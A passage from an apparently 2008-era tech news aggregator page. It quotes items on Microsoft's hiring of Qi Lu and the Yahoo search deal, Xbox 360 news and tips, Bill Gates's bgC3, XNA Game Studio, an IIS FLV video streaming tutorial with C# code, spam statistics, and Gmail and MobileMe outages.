And yet, it was not a difficult choice, I think, for what we need to accomplish, you know, sort of four key things. There's general management, and I've got great confidence in Qi [pronounced "Chee"] as a leader and manager. There's technology, certainly Qi has an unparalleled background. There's product as opposed to technology, and really what it takes to build a winning product. And if you want to build a winning product in search, again, there's no better guy on the planet than Qi, so I felt very good about that.

WSJ: His predecessor running Microsoft's Online Business had more of a sales and marketing background. Did you decide that deep technical skills first and foremost were the most important thing for improving your position in search?

Mr. Ballmer: There's a difference between technical skills and product skills. Both were important. There are a lot of people in our industry who understand the technology, but don't actually understand really what it takes to build a winning product. So perhaps the most important thing was the product skills, and really the understanding of what people want, and what they're trying to accomplish and get done. Then it's also great to have the skills to map that back into the technology itself.

We did restructure the job some, which made it easier to focus in on product, and general management as opposed to other things. We did take our sales force and move it so that we could manage it under our chief Operating Officer Kevin Turner, and that made it more pure to focus in on this issue. Also, because we moved the Windows Live pieces into the Windows group, which I think is appropriate, it created clear focus on search, portal and advertising as the product.

WSJ: Qi, what are your first priorities for helping Microsoft improve its competitive position on the Internet?

QI LU: I haven't started yet, but looking from outside, at the fundamental level, product quality, user experience is the key to being competitive in this space that we're in. Focusing on fundamental areas such as talent, core infrastructures, basic processes of doing things will be very important areas for me to focus. The way I do things I usually always prefer to have a very clear strategy and be very focused. At the same time to be very rock solid, and crisp in execution.

Qi Lu

WSJ: At Yahoo you were obviously in a competitive position against the dominant player in this business, Google. Do you feel like at Microsoft you will have better resources to more effectively compete against Google?

Mr. Lu: In my interaction with Steve the one thing that impressed and won me over is the level of commitment they are investing. They're investing resources, they're investing in our ability to distribute a product, investing in things that we can do to ensure we have at the highest quality of user experience, and that's very, very important.

WSJ: Do you feel at Yahoo that level of investment wasn't as high as it needed to be?

Mr. Lu: Yahoo was operating in a slightly different situation. The company has a different profile, type of business, and the operating margin structures it needs to operate with. So it's different.

WSJ: Steve, should a Yahoo search deal come to pass with Microsoft, would Qi's hiring make it easier for Microsoft to integrate whatever assets it acquired from Yahoo?

Mr. Ballmer: I think a search deal makes great sense for Microsoft, and Yahoo, and I think I've been very open about that. That's as true with Qi joining us as it was before Qi joined us. Obviously the logistics of any such integration…can only be simpler by having somebody who will know both sides. But, that was not a factor in hiring Qi.

Our focus on portal and search is super-strong, and even if we never do a Yahoo deal or anything else, I wanted to have Qi come on board. It is kind of a bonus that if something happened with Yahoo I'm sure it's somewhat simpler.

WSJ: In your last comments on this, you said that there are no talks going on with Yahoo. Has that changed? Are there any kind of talks about a search deal between Microsoft and Yahoo at the moment?

Mr. Ballmer: The answer is no, but I wouldn't tell you if there were. But in this case it's easy.

WSJ: Do you feel like you're in a situation where you can go slow with regards to Yahoo and any conversations, or do you need to move quickly?

Mr. Ballmer: We're fully prepared to compete without any partnership with Yahoo. We don't need to act. Would it be advantageous for both of us to make a deal? Look, the fundamental basis for doing the search deal with Yahoo has to do with critical mass in the advertising marketplace. It doesn't have to do with technology, or any of these other things, it really is a market phenomenon. Together we would have more advertisers….which means we'd have more relevant ads on our page. We'd have higher monetization levels possible in front of us because there would be more people bidding on more key words. Most importantly, Google would have perhaps a real credible competitor sooner.

I think good ideas are usually better done quickly than slowly, so it would probably be better for both us, and certainly for Yahoo, if we were to do it sooner than later. But at the end of the day, that would have be something Yahoo would be as interested in as I have expressed our interest.

WSJ: Do you think that that's unlikely before Yahoo finds a new CEO?

Mr. Ballmer: It's not my place to speculate there, I'm afraid.

WSJ: Qi, let me turn this around. You were at Yahoo when Microsoft made its acquisition bid. I'm curious what it was like being on the other side, and how you, as a Yahoo person, viewed Microsoft and how others inside the company viewed Microsoft?

Mr. Lu: For me, Microsoft has been one of the most, if not the most, successful technology companies. And the one thing you can say about Microsoft is about their competitiveness. They may not get it right in the first version of the product, but they're coming at and they'll keep coming at it and improving the product. And so we always respected that, and viewed Microsoft as you can never count them out as very worthy competitors.

With regards to the acquisition, certainly the management team and the board of directors made their decisions, and we all know about that now. Sometimes the employees, different people have different views. That's perhaps all I have to say.

WSJ: Do you think if the scenario that we talked about should come to pass, some kind of collaboration between Microsoft and Yahoo on search, that top talent would remain, and that there would be a relatively smooth integration of their assets with Microsoft?

Mr. Lu: Based on what I know of, I think certainly a case can be made that a lot of employees will remain, and they will be able to put together a smooth transition. Just to add to what Steve said earlier, the key value of consolidating the two search assets is by combining the supply and demand in the ad marketplace so that you have more advertiser base, and given that you will have ads that are more relevant, serve the user better, and create more [return on investment] for the advertisers, and certainly provide more yield, economic value for all parties involved.

WSJ: Should we look at an improvement in Microsoft's market share position in search, or are there other measurements by which you'll judge that the Internet business is headed in the right direction at Microsoft?

Mr. Lu: To me, ultimately in the search case, it's market share. Beside search share, there's a different set of metrics that can tell us how competitive our products are. There's a lot about measuring the quality of the search experience, and there's also a lot of measurements you can use that will tell us how effective our ad marketplace is at being able to provide yield.

Mr. Ballmer: The only thing I would add is, on the portal side of the business -- that's where we actually have our biggest revenue stream today -- we have a lot we think we can do to continue to drive page views.

WSJ: Can you set some expectations for how much you think you can improve your market share in the absence of a deal with Yahoo?

Mr. Ballmer: I don't choose to make forecasts on that kind of stuff ever. It's a function of a lot of things – how rapidly the product improves, how quickly we can sort of capture user imagination on the kinds of improvements we're making, how effective we are in getting our search product distributed. I said to our shareholders that we are prepared to invest significant amounts of money in our online business, 5 to 10 percent of operating income if we had to, for the next five years.

WSJ: Steve, are you concerned that with the departure of Brian McAndrews, the former senior vice president of Microsoft's advertiser and publisher solutions group, and before him Steve Berkowitz, that Microsoft may seem like a inhospitable place to outside executives who come in to run your online business?

Mr. Ballmer: No. You probably should ask Qi. He's an outside exec who is coming in to run our online business.

WSJ: But he doesn't start until January.

Mr. Ballmer: Yes, that's right. So if you want to scare him away, this is the call, I guess. I'm teasing.

No, I don't think so. I mean, Brian, we acquired his company [aQuantive]. And Brian is a CEO, he's been a CEO for a long-time, and you've got to make a judgment. It's different than acquiring a small startup, and when Brian came in he said, hey, look, I'll help you with the transition and I'll see what I think. And he had a chance to do that, this is sort of the right time for him to make a transition. We don't say he's retiring because I suspect he'll be a public company CEO again someplace in the not too distant future, but he's been a great facilitator of the integration of aQuantive, for which I'm very thankful. He's a good friend. Our sons play on the same basketball team.

In general, I would say we have a very good track record in terms of executives coming in from the outside, but a very good record is never 100%. I was talking to the CEO of a Fortune 10 -- the head of HR for a Fortune 10 company – and I said what's your track record? He said we keep about 50%. I said, well, we do a lot better than that we keep about 70-75%. So I think we do pretty well.

WSJ: It was pretty widely known that Brian McAndrews was interested in this job, running the online business. Did you make any effort to try and keep him in some other role?

Mr. Ballmer: I love Brian. It would have been great to have him stay at Microsoft, but I respect the decision he made for his career goals and ambitions.

WSJ: Microsoft I think has hired another Yahoo, former Yahoo technologist, Sean Suchter. Are you specifically attempting to hire talent away from Yahoo?

Mr. Ballmer: I should take that, because Qi has had absolutely nothing to do with any recruiting we've been doing as a company to date, because he hasn't started. We have an A team in search. We have a great competitor, but we have an A team. Sean, who I had a chance to talk with during the process, is another great talent. I'm sure there's other people we've hired from Yahoo. I've been reading there's people they've hired from us. It's a small industry, so some of the talent will flow that direction.

WSJ: Steve, does the souring economy affect your ability to improve your position in search, either on the upside or the downside?

Mr. Ballmer: I don't think it makes a material difference.

WSJ: I'm curious if any pull back in spending on advertising will negatively affect your goals here.

Mr. Ballmer: You asked about market position, which to me implies share. Will online advertising suffer with the economy? The answer to that is sure, of course it will. It makes the P&L tougher. There's no question about that.

On the other hand, relative to building share and position in search and portal, and share of advertising, I don't think the economy is really a factor for us. I don't know if you know the old story about the two guys out in the woods who see a bear, and one guy says, boy, we'd better really run fast, or that bear is going to get us. We've got to run faster than the bear does. And the other guy says, no, I've just got to run faster than you do. In this economy, maybe that's the right way to think about it.
[/QUOTE]

Source: online.wsj.com

>> Dan released the first 'technology preview' release of EncodeHD to replace the Encode360(info) tool. EncodeHD is a an application to re-encode all types of video files for use on your home media player or on-the-go device. It aims to provide a simple interface with no fuss.
From dcunningham.net:

[QUOTE]
So firstly, let's talk EncodeHD. Look at the current beta release (0.71) as a 'technology preview' of sorts. The idea here is to verify that we've got the primary encoding mechanisms up to scratch. So what I'm looking for here is to make sure that video converts for all devices as expected and that the quality is good (or great).

The key things to note for EncodeHD are:

• Outputted video is MPEG4 and H.264 with AAC (or AC3) audio, NOT WMV (this is not strictly for X-Box 360 anymore)
• This means that 5.1 audio for the X-Box 360 is not yet supported in these formats
• Subtitles are also not yet possible, although I'm looking into it

As of now, there's still a lot of unimplemented functionality that will be added later. If you want to see something in particular, please let me know. However, if it's going to cludge up the interface and start making things complex, I may not implement requests. We'll have to see.

One of the nice things about EncodeHD is that it has built-in bug reporting. If you hit a problem, it will ask you if you want to submit a bug report - including all the details I need to help solve the issue. If however, the problem is with video output, it may not detect any problems. In this case, could I ask you to email my bug-tracking system: cases@dcunningham.fogbugz.com, and attach the EncodeHD.Log file which you can find in your Temp folder (Click Start > Run and type %TEMP% to access it).
[/QUOTE]

Official Site: http://dcunningham.net
Download: here

[QUOTE]
Half the things" Microsoft wanted to put into the New Xbox Experience were cut out, Europe's Xbox Live boss has told CVG.

Speaking in a recent interview Microsoft's Jerry Johnson said that the redesigned Xbox 360 dash isn't finished yet and detailed plans to bolster the backend with new applications and content.

"There's still a lot of stuff we want to do," Johnson told CVG in an interview. "Half the things we wanted to do [in NXE] we cut out of the service.

"One of the nice things we did was this architectural change to make things more published and driven from the service. All of a sudden we opened up the platform to say 'I don't have to wait until once or twice a year to release something onto the dashboard'.

"There's a Photo Party app that will be part of the platform," the XBL man added. "The way it will be distributed is all of a sudden you'll see a slot on the dashboard and if you don't have it you click on it and it's going to download from the service onto your application part of the dashboard. Those are the type of things we're going to start doing. Johnson also confirmed that Xbox Live Primetime, which offers server based 'game show' style online games, will be launched in spring 2009.

"I think we're going to see more social, more content-type apps. I also think from a platform perspective we can continue to do a lot of new things," he said.
[/QUOTE]

Source: http://www.computerandvideogames.com

[QUOTE]

Microsoft claims that the New Xbox Experience — that big dashboard upgrade being pushed to all 360 owners on November 19 — will allow your favorite Xbox 360 games to load more quickly. To enjoy that benefit, a gamer will have to install their disc-based games onto their 360’s hard drive.

People keep asking me if doing the installation is worth the trouble. Are loading times that much better?

I tested Microsoft’s claim on four games, using my NXE-enabled 360. Above, you can watch the initial loading for “Grand Theft Auto IV,” DVD vs Hard Drive. After the jump, check out loading comparisons for “Fable II” and “Gears of War.”

(Videos not viewable by users logging in from Canada or the U.K.)

In all cases, I spammed the A button of my controller as soon as the game started loading, so you’re seeing my fastest attempts to get from the new dashboard to the new games.

Each of the games took about 11 minutes to install and required between 6.6 and 6.8GB. It shaved off about nine to 15 seconds off the initial load times.Think it’s worth it?

 

[/QUOTE]

Source: http://multiplayerblog.mtv.com

[QUOTE]
Just months after his Microsoft farewell, Bill Gates is quietly creating a new company -- complete with high-tech office space, a cryptic name and even its own trademark.

Public documents describe the new Gates entity -- bgC3 LLC -- as a “think tank.” It’s housed within a Kirkland office that the Microsoft co-founder established on his own after leaving his day-to-day executive role at the company this summer.

Is this Bill Gates’ next big business? A Gates insider gives an emphatic no  -- saying it’s not a commercial venture but rather a vehicle to coordinate the software mogul’s work on his business and philanthropic endeavors.

However, bgC3 will also oversee Gates’ personal pursuit of breakthrough ideas in science and technology. The insider said the goal isn’t necessarily to create new companies, although ideas could be passed along to Microsoft, the Bill & Melinda Gates Foundation -- or others – as it makes sense.

Whatever the ultimate role of the company, the circumstances surrounding its creation provide a behind-the-scenes glimpse into the new era of Gates’ life.

State records show that the company, originally called Carillon Holdings, was established in March 2008. It formally changed its name to bgC3 in early July, 10 days after Gates left his full-time job at the company he built into an industry giant. He remains Microsoft’s chairman and continues to work part-time on projects.

The records describe bgC3 as a “holding company” headquartered in Kirkland –a relatively short, picturesque drive from Gates’ home on Lake Washington.

Federal trademark filings provide more clues – describing bgC3 as a think tank, under a generic trademark classification that corresponds broadly to areas including "scientific and technological services," "industrial analysis and research," and "design and development of computer hardware and software."

But what does bgC3 mean? The logical assumption might be “Bill Gates Company Three” – his third enterprise after Microsoft and the Bill & Melinda Gates Foundation. But that’s only partially right, according to the Gates insider.
The “bg” is Bill Gates, the insider says, but the “C” stands for “catalyst.” The idea is that Gates will play that role as he brings together new people and ideas. The “three” reflects the notion of a third place, apart from Microsoft and the foundation.

Before beginning his transition this summer, Gates told reporters that he would focus full-time on the foundation, and part-time on selected Microsoft assignments.
He acknowledged plans for his own office in Kirkland, apart from Microsoft and the foundation, but didn't discuss specifically any plans to organize that office under a new company. At the same time, he said he would be open to personally supporting breakthrough ideas where he sees a chance to advance the state of mankind.

It's not clear exactly where those interests will lead, or precisely what role bgC3 will play in the long run. But Gates, who turns 53 next week, has increasingly expanded his focus beyond Microsoft to problems of technology, science and society.

Much of that broader focus has come through the Gates Foundation, which deals in issues of education and global health. People associated with Gates say he is still expected to focus primarily on the foundation in this new era of his life.

But particularly at a time of economic turmoil, Gates' status and wealth could put him in a position to bring in top scientists and other notable people to work with bgC3. Gates has historically surrounded himself with smart people, and he’s famously thirsty for knowledge. His interests go well beyond computer science into fields as disparate as energy, biotechnology, and global economics.

The concept of a technological think tank wouldn’t be new to Gates. He has taken part in high-powered brainstorming sessions organized by his friend, Nathan Myhrvold, Microsoft's former chief technology officer, who now heads a company called Intellectual Ventures LLC, based in Bellevue. Projects that Gates is backing through Myhrvold include an effort to create an alternative nuclear reactor that produces clean power without waste or proliferation.
Whatever its aims, the new Gates organization doesn't appear to have ambitions of becoming another behemoth. In a letter last year to a Kirkland city official, a Gates representative wrote that total occupancy would be limited to between 40 and 60 people, including employees and visitors, in the space that bgC3 now occupies.

At the same time, it’s no ordinary office space. Visitors say it’s fully stocked with Microsoft technologies, including a Surface tabletop computer with a virtual guestbook application.

Some of bgC3’s activity has been recent. According to the U.S. Patent and Trademark database, the company filed Sept. 29 for federal trademarks on "BGC3" and the "C3" logo. The latter (pictured above) is an intertwined "C" and "3" in block letters.

The Microsoft chairman has established companies before to serve specific purposes, primarily behind the scenes. Watermark Estate Management Services LLC oversees many of Gates’ personal and family matters, and Cascade Investments LLC oversees his stock and other financial holdings.

Several of Gates’ associates are named in the documents tied to bgC3, although Gates himself isn't identified by name in public records associated with the company – a main reason its existence hasn't received media attention until now.
[/QUOTE]

Source: http://www.techflash.com

[QUOTE]
That's right! You can download it now! We'll be asking your help to put this baby through her paces as we lead up to the official release later this year. It is your input that makes us stronger, faster and better.

Download XNA Game Studio 3.0 Beta at Launch Center

If you do find any bugs or just have a suggestion on ways we can make XNA Game Studio 3.0 more awesome head over to Microsoft Connect to submit them to us.

Here is a list of the changes:

Zune

• Compatibility with the upcoming Zune 3.0 Firmware release. Please note that the XNA Game Studio 3.0 CTP will no longer work once you have upgraded your Zune device to the 3.0 firmware.
• Improved deployment stability.
• Support for Zune deployment on Windows Vista x64 Systems!
• You can now use the Remote Performance Monitor for Zune games.

Xbox 360

• Xbox 360 project templates (You will not be able to develop on the Xbox 360 until our final release. We felt this was important to include so that you could get projects converted over and look at the system, even if you are not able to run the games, yet).
• Support for the Big Button Pad.

Framework & Visual Studio Features

• Enumerate and play back media on your Windows computer or Xbox 360.
• Simple sound effect support on Windows computers and Xbox 360.
• Support for Rich Presence (lets friends know what’s going on in your game).
• Support for Invites (ask your friends to join you in a multiplayer game) and Join Session In Progress (after you see what your friends are doing, you can join their current session with just a couple of button presses, even if that’s a different game to the one you are currently playing)
• Compress your content and save space with the new content compression features!
• ClickOnce packaging support for distributing your XNA Framework games on Windows.
• Upgrade your project from XNA Game Studio 2.0 using the Project Upgrade Wizard!
• Take screen captures of your game running on Zune through the XNA Game Studio Device Center.
• Support for .NET language features like Linq
• Create multiple content projects and leverage cross project synchronization in Visual Studio.
• FBX importer improvements: read materials containing multiple textures, and export custom shader materials directly out of Max or Maya.

[/QUOTE]

Source: blogs.msdn.com

[QUOTE]
1. Connect your Xbox 360 to two screens at once

If you've got one of the component/composite dual video cables – the one that comes in the box with most 360s – you can have your console display its gamey goodness on two TVs simultaneously. The trick is to flick the cable's switch to Standard Definition but hook up the composite (yellow) cable to one screen and the component (the red, green, blue) cables to another. It won't be high-def, but it could be handy if you're staging a mini LAN party and want to set up a display for bored spectators to point their eyes at.

2. Play your own music in original Xbox games

That you can fire up your own MP3s during a 360 game is common knowledge (and re-soundtracking moody horror games with the Benny Hill theme tune never stops being funny), but it doesn't work if you're playing a title from the original Xbox. There's a way around it – start playing your album or playlist before you load the game, and it'll keep on playing once you do fire the title up. The game's own music won't be muted, however, so if you can't do that in its settings you'll go mad from the weird cacophony.

3. It can write its own blog

Ah, the internet – founded upon crazy men making crazy things for free. Such as a blog supposedly written by your 360, based on what you've been using it for. It monitors your Live account and automatically generates entries about what it's been up to that day (or what it hasn't been up to – expect many posts about neglect if you don't turn it on for a while). The tone is very much American geek, but it's a fun record of your own gaming habits, and of keeping an eye on what your chums are up to. Get set up atwww.360voice.com.

4. Play Xbox 360 games online for free – without a Live account

That you have to pay a subscription for online gaming, something that's free on other consoles and on the PC, is perhaps the 360's greatest bugbear. Stage your own form of peaceful process by playing online without paying a penny. You'll need XLink Kai, a free app you run from a PC on the same network as the console that tricks the 360 into thinking the internet is a LAN.

So it'll treat remote opponents as though they're in the same room as you – and you don't have to pay for local multiplayer. Clever! One snag – Microsoft has set the 360 to boot out anyone with a ping higher than 30ms, so you'll have to be selective about who you play with. Local chums are best, not your Chinese penpal.

5. Interact with your Xbox 360 music

Hit X whilst playing a music CD or file (whether from the 360's hard drive, an MP3 player you've plugged in, or streamed from a PC) and you'll enter Psychedelic Wonderland. Well, some artful visualisations, anyway. Grab a controller or two (or up to four, as it happens) and start moving thumbpads and pressing buttons to interact with the crazed shifting colours. There are actually some fairly elaborate controls – read the full manual athttp://www.llamasoft.co.uk/x360manual.php. Good at parties, this.

6. Connect your Xbox 360 to a wireless network without an official adaptor

The good news is you don't have to drop £50 on Microsoft's offensively overpriced Wi-Fi adaptor. The bad news is you'll need a laptop with W-Fi to do it. Head to Control Panel – Network Connections (In Windows XP) or Network & Sharing Center – Manage Network Connections (in Vista). Select the Local Area Connection and the Wireless Network Connection at once, then right-click and hit 'bridge connections'.

Disconnect then reconnect to your wireless network, run a network cable from the laptop's Ethernet port to the 360's, and you should be good to go. Unfortunately, you may have to remove the bridge (repeat the above process and you'll see the option) whenever you want to browse the net with the laptop.

7. Play music from your iPod

Not a secret as such, but Microsoft doesn't exactly shout about the fact it plays nice with a device made by uber-rival Apple. Hidden in the depths of the Marketplace, you'll find a teeny download called 'optional iPod support'. Once you've grabbed that, plug in your iPod (iPhones aren't supported yet, sadly) and head to the Media Blade. You'll see your pod appear there, and can now browse its music by album, artist, genre or whatever. It'll also charge via the USB port, usefully.

8. Reset your Xbox 360 video settings

Remember this one if you're in the habit of carrying your console to chum's houses and hooking it up to different displays. It can end up trying to output the wrong signal, so you can't see anything or get a flickering screen. Fortunately, there's a fairly simple fix if this happens. Remove any discs from the tray and turn the thing off. Then turn it on using a gamepad. As it boots, hold down the Y button, then hit and hold the right trigger. The video settings will reset to default, and you'll stop your sobbing.

9. Play any media file, plus online videos on your Xbox 360

Free app Tversity neatly sidesteps the pointless video/audio restrictions Microsoft, Sony and Nintendo alike slap on their consoles, making them able to play any format. Again, you'll need a PC on the same network, but it's a simple matter of installing the program and having it scan the folders you keep your media in. It'll replace the standard network file-sharing system Windows uses, but behaves pretty much the same way at the 360's end. As well as that, it'll convert unsupported files on the fly – though you'll need a pretty beefy PC to do this with large video files, otherwise you'll be waiting ages. You can also add online video URLs on the PC's end – including Youtube – and then access those from the console.

10. Use any HDMI cable and still get digital surround sound

Though the newer 360s have an HDMI output for optimal video quality, they've built the ports in such a way that you can't have the standard component/composite video cable, with its crucial optical audio output, plugged in at the same time as HDMI. Instead, you're supposed to drop a frightening amount of money on the official HDMI cable with audio adapter. Balls to that. See the big plastic box at the end of the standard video cable that connects to the console? Wedge a knife or screwdriver into the join and twist to pop it off. The result looks messy, but is small enough to plug in alongside a standard, cheapo HDMI cable.
[/QUOTE]

Source: www.techradar.com

[QUOTE]
Here's a video of the Google Tech Talks titled "The Xbox 360 Security System and its Weaknesses" by Michael Steil (mist) and Felix Domke (tmbinc): "After the disaster of the original Xbox, Microsoft put a lot of effort in designing what is probably the most sophisticated consumer hardware security system... "

[/QUOTE]

Source: xbox-linux.org via www.xbox-scene.com

This tutorial is about how to configure your web server to stream your own movies on your web page just like video.google.com does.

Requirements:

• Windows Server 2003
• IIS 5.0/6.0
• ffmpeg.exe (from http://ffmpeg.mplayerhq.hu or download latest beta version here)
• flvtool2 (from http://inlet-media.de/flvtool2)
• a GUI for ffmpeg (if you don't want to use the console, e.g. Avanti http://avanti.arrozcru.com)
• a FLV Streaming Player (e.g. FLV-Scrubber 3.0 by Fabian Topfstedt: http://topfstedt.de/FLVScrubber3/FLVScrubber.swf)
• a FLV Player (e.g. http://flv-player.softonic.de)
  

1. Configuring Windows Server 2003 and IIS

Add a new web site in your IIS and don't forget to select "Run Scripts (such as ASP)".

Using this HTTP handler you can easily FLV streaming downloads just like . All you need is to install on your IIS 5.0/6.0 the following HTTP handler and to get this to work correctly, you will need to make sure that IIS handles request for .flv files. In your site's properties, click the "Home directory tab" and click the "Configuration" button. You'll get a form like this:

Add the entry for .flv, click edit, and copy the path in the executable field. This is the aspnet_isapi.dll for the current version of the .NET Framework of your virtual site. Cancel out of that dialog and click "add." Paste the path into the executable, use the extension .flv and set your verbs limited to "GET, POST, HEAD, DEBUG" like this:

Now any request for a .flv file on the site will be handled by ASP.NET. Since the server-wide machine.config file doesn't specify what class should handle the request, a default handler is used unless we add the following lines to the web.config file (of your web site):

2. Coding

Web.config

<httpHandlers>
verb="*" path="*.flv" type="FLVStreaming" />
</httpHandlers>

FLVStreaming.cs

using System;
using System.IO;
using System.Web;
public class FLVStreaming : IHttpHandler
{

    // FLV header
private static readonly byte[] _flvheader = HexToByte("464C5601010000000900000009");

public FLVStreaming()
    {
    }
public void ProcessRequest(HttpContext context)
    {
try
{
int pos;
int length;
// Check start parameter if present
string filename = Path.GetFileName(context.Request.FilePath);
using (FileStream fs = new FileStream(context.Server.MapPath(filename), FileMode.Open, FileAccess.Read, FileShare.Read))
            {
string qs = context.Request.Params["start"];
if (string.IsNullOrEmpty(qs))
                {
                    pos = 0;
                    length = Convert.ToInt32(fs.Length);
                }
else
{
                    pos = Convert.ToInt32(qs);
                    length = Convert.ToInt32(fs.Length - pos) + _flvheader.Length;
                }
// Add HTTP header stuff: cache, content type and length       
context.Response.Cache.SetCacheability(HttpCacheability.Public);
                context.Response.Cache.SetLastModified(DateTime.Now);
                context.Response.AppendHeader("Content-Type", "video/x-flv");
                context.Response.AppendHeader("Content-Length", length.ToString());
// Append FLV header when sending partial file
if (pos > 0)
                {
                    context.Response.OutputStream.Write(_flvheader, 0, _flvheader.Length);
                    fs.Position = pos;
                }
// Read buffer and write stream to the response stream
const int buffersize = 16384;
byte[] buffer = new byte[buffersize];
int count = fs.Read(buffer, 0, buffersize);
while (count > 0)
                {
if (context.Response.IsClientConnected)
                    {
                        context.Response.OutputStream.Write(buffer, 0, count);
                        count = fs.Read(buffer, 0, buffersize);
                    }
else
{
                        count = -1;
                    }
                }
            }
        }
catch (Exception ex)
        {
            System.Diagnostics.Debug.WriteLine(ex.ToString());
        }
    }
public bool IsReusable
    {
get { return true; }
    }
private static byte[] HexToByte(string hexString)
    {
byte[] returnBytes = new byte[hexString.Length / 2];
for (int i = 0; i < returnBytes.Length; i++)
            returnBytes[i] = Convert.ToByte(hexString.Substring(i * 2, 2), 16);
return returnBytes;
    }

}

All you need now to stream your favorite FLV movies is a custom-made player which is fetching the contents passing to the request the ?start= parameter in order to seek the current position inside the video file.

Fabian Topfstedt has one available onto his site (get the player and place it in your site document root).

To use Fabian player you have to embed the following HTML code inside your page (and of course you should change the path to you .flv video and player):

 <object id="FLVScrubber" width="450" height="253" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#version=9,0,0,0"><param name="movie" value="http://topfstedt.de/FLVScrubber3/FLVScrubber.swf"/><param name="bgcolor" value="#000000"/><param name="allowScriptAccess" value="sameDomain"/><param name="allowFullScreen" value="true"/><param name="flashVars" value="file=http://www.nibbler.at/republicofideas.flv&previewImage=http://nibbler.at/republicofideas.jpg"/><embed src="http://www.topfstedt.de/FLVScrubber3/FLVScrubber.swf" bgcolor="#000000" width="450" height="253" name="FLVScrubber" allowScriptAccess="sameDomain" allowFullScreen="true" flashVars="file=http://www.nibbler.at/republicofideas.flv&previewImage=http://nibbler.at/republicofideas.jpg" type="application/x-shockwave-flash" pluginspage="http://www.adobe.com/go/getflashplayer"></object>

There are three attributes of interest: Width and height define the resolution of FLV-Scrubber. If your videos’ native resolution is eg. 320×240 pixels, you might want to set width to 320 and height to 240. No problem if does not match, the video just will be scaled up or down. The third attribute is “flashvars”. That’s where you change the bahaviour and pass over information to FLVScrubber. You need to set at least file here, to link to the video you want to play. Everything else is optional (key/value pairs inside the flashvar attribute are separated using &). Here is a complete list:

• file=[URL] defines which video to show
• &autoStart lets the video start immediately
• &bufferTime=[number] changes the buffer time (default is 3 seconds)
• &clickTag=[URL] defines a target to call after video ended
• &credit=[(URL encoded) text] to show a credit like your company name in the context menu
• &link=[URL] defines a website to open when user clicks into the video
• &linkTarget=[blank,parent,self,top] defines the target of the website above (default: blank)
• &loop=true lets your video replay itself instead of ending (default: false)
• &previewImage=[URL] sets an backgroundimage as preview before playback starts
• &scrubbing=false use that, if you’re webserver has no enabled module for fake streaming (default: true)
• &seeking=false disallows the user to seek inside the video (default: true)
• &secondsToHide=[number] defines amount of seconds that the controlbar waits before hiding (0 means never, default is 5)
• &startAt=[number] defines the the second where the playback will start (default:0)

3. Converting your movie into FLV format

Now you need to convert/encode a video file (e.g. .avi) into a .flv by using ffmpeg and flvtool2 to index your in order to add the correct metadata inside the FLV file. You can do this by using the console (e.g):

ffmpege.exe -i test.avi test.flv
flvtool2.exe -U test.flv

or by using a GUI for ffmpeg like Avanti (http://avanti.arrozcru.com):

(don't forget to copy the ffmpeg.exe in your ../avanti/ffmpeg folder and load the "FLASH HQ" template from the Avanti menu). If you are a proud owner of Adobe Flash Professional 8 you can use the Flash 8 Video Encoder and you don't need ffmpeg and flvtool2 to encode and index your videos.

After encoding your video you can use a PLV Player (e.g. http://flv-player.softonic.de) to check if .flv file match your needs (e.g. correct resolution, bitrate...).

Now upload all file to your web server and your web site root should look like:

yourdirectory/App_Code/FLVStreaming.cs
yourdirectory/Web.Config
yourdirectory/default.htm
yourdirectory/FLVScrubber.swf
yourdirectory/yourmovie.flv

[QUOTE]
According to Commtouch Software, an average of about 10 million zombie computers worldwide are sending an average of 3 million messages every day. Some time periods indicate a collective peak spam output of 8 million to 10 million messages.

Many of those messages are sent through the top three web-based mail services. Gmail, operated by Google, ranks #3 among the top 10 origins for spam. Yahoo ranks #6, and Hotmail, operated by Microsoft, ranks #7. It's probably not coincidental that the rankings correspond to the popularity of each company's search engines and other online services.

The current top 2 offending domains origins are nearly unheard of by the majority of Internet users. Active-encounter.com, operated by marketing company iLead Media, ranks #1 and authentic-mechanic.com, registered to Tad Asaro, ranks #2. Asaro is registrant of the relatively new BabytoBee.com site.

Commtouch's cost calculator currently indicates that a company with 50 employees, each with an average salary of $50,000 per year, who also receive 25 messages per day - half of which are spam - would spent $14,300 per year as a direct result of dealing with spam.
[/QUOTE]

Source: windowsitpro.com

[QUOTE]
Apple's MobileMe and Google's Gmail online e-mail services suffered hours-long outages Monday, leaving millions of users unable to access their accounts.

Google restored service within about two and a half hours, but it took Apple approximately seven hours to restore full access to its online mail service.

Apple users first reported trouble accessing the service's servers from their desktop mail clients around 2 p.m. Eastern, and in the next several hours, posted several hundred messages on the MobileMe support forum about the outage.

A notice on the service's main support page acknowledged the problem. "MobileMe members are intermittently unable to access MobileMe Mail using a desktop e-mail application, iPhone or iPod touch," said Apple. "Access to www.me.com/mail is unaffected. Service will be restored ASAP. We apologize for any inconvenience."

By 9 p.m. Eastern that notice had been replaced with an all-clear indicator.

Google's Gmail, meanwhile, went offline around 5 p.m. Eastern, and greeted users with a message reading in part, "We're sorry, but your Gmail account is currently experiencing errors."

A little over two hours later, Google added a notice to its Gmail help page that attributed the outage to "the contacts system used by Gmail which is preventing Gmail from loading properly. We are starting to roll out a fix now and hope to have the problem resolved as quickly as possible."

Shortly after that, at about 7:30 p.m., Google declared the outage over. "Users who were temporarily affected by the 502 errors should now be able to access their account," read a message posted to the Gmail Help Discussion forum. "Thanks for your patience while we worked to resolve this issue for everyone."

Apple users were especially livid, in part because they, unlike Gmail's users, pay for their service, and also because of the multiple problems they had with MobileMe since its launch a month ago.

"I'm so disgusted with Apple right now I don't even know what to say," said a user identified as "Furi0us.Bee" in a message posted to the longest forum thread on the subject.

"This is crazy," said another user, "mac_wa," on the same thread. "I have had more down time with my mac/me mail than any other service I've had... and I pay for this."

But Owen Schultz had one of the best takes of any user. "Dear MS Outlook," Schultz started, "I am so sorry about our breakup several year ago. I have been thinking about you a lot since then. Will you please consider taking me back? Just one more chance? I'm sorry about all the horrible things I said about you and your operating system. You were the best I ever had! MobileMe and I are finished!"

MobileMe's travails -- ranging from an extended migration from its predecessor, .Mac, to an 11-day mail outage last month -- prompted Apple's CEO, Steve Jobs, to issue a memo to company employees last week in which he called the rollout "not up to Apple's standards."

Jobs shook up Apple's management team over the series of snafus, and handed responsibility for the service to Eddy Cue, who heads iTunes.
[/QUOTE]

Source: www.infoworld.com

[QUOTE]
PCs are used for gaming more than any console and PlayStation 3 owners are more likely to have multiple consoles, according to the results of the Games Segmentation 2008 report from sales tracking and research firm The NPD Group.

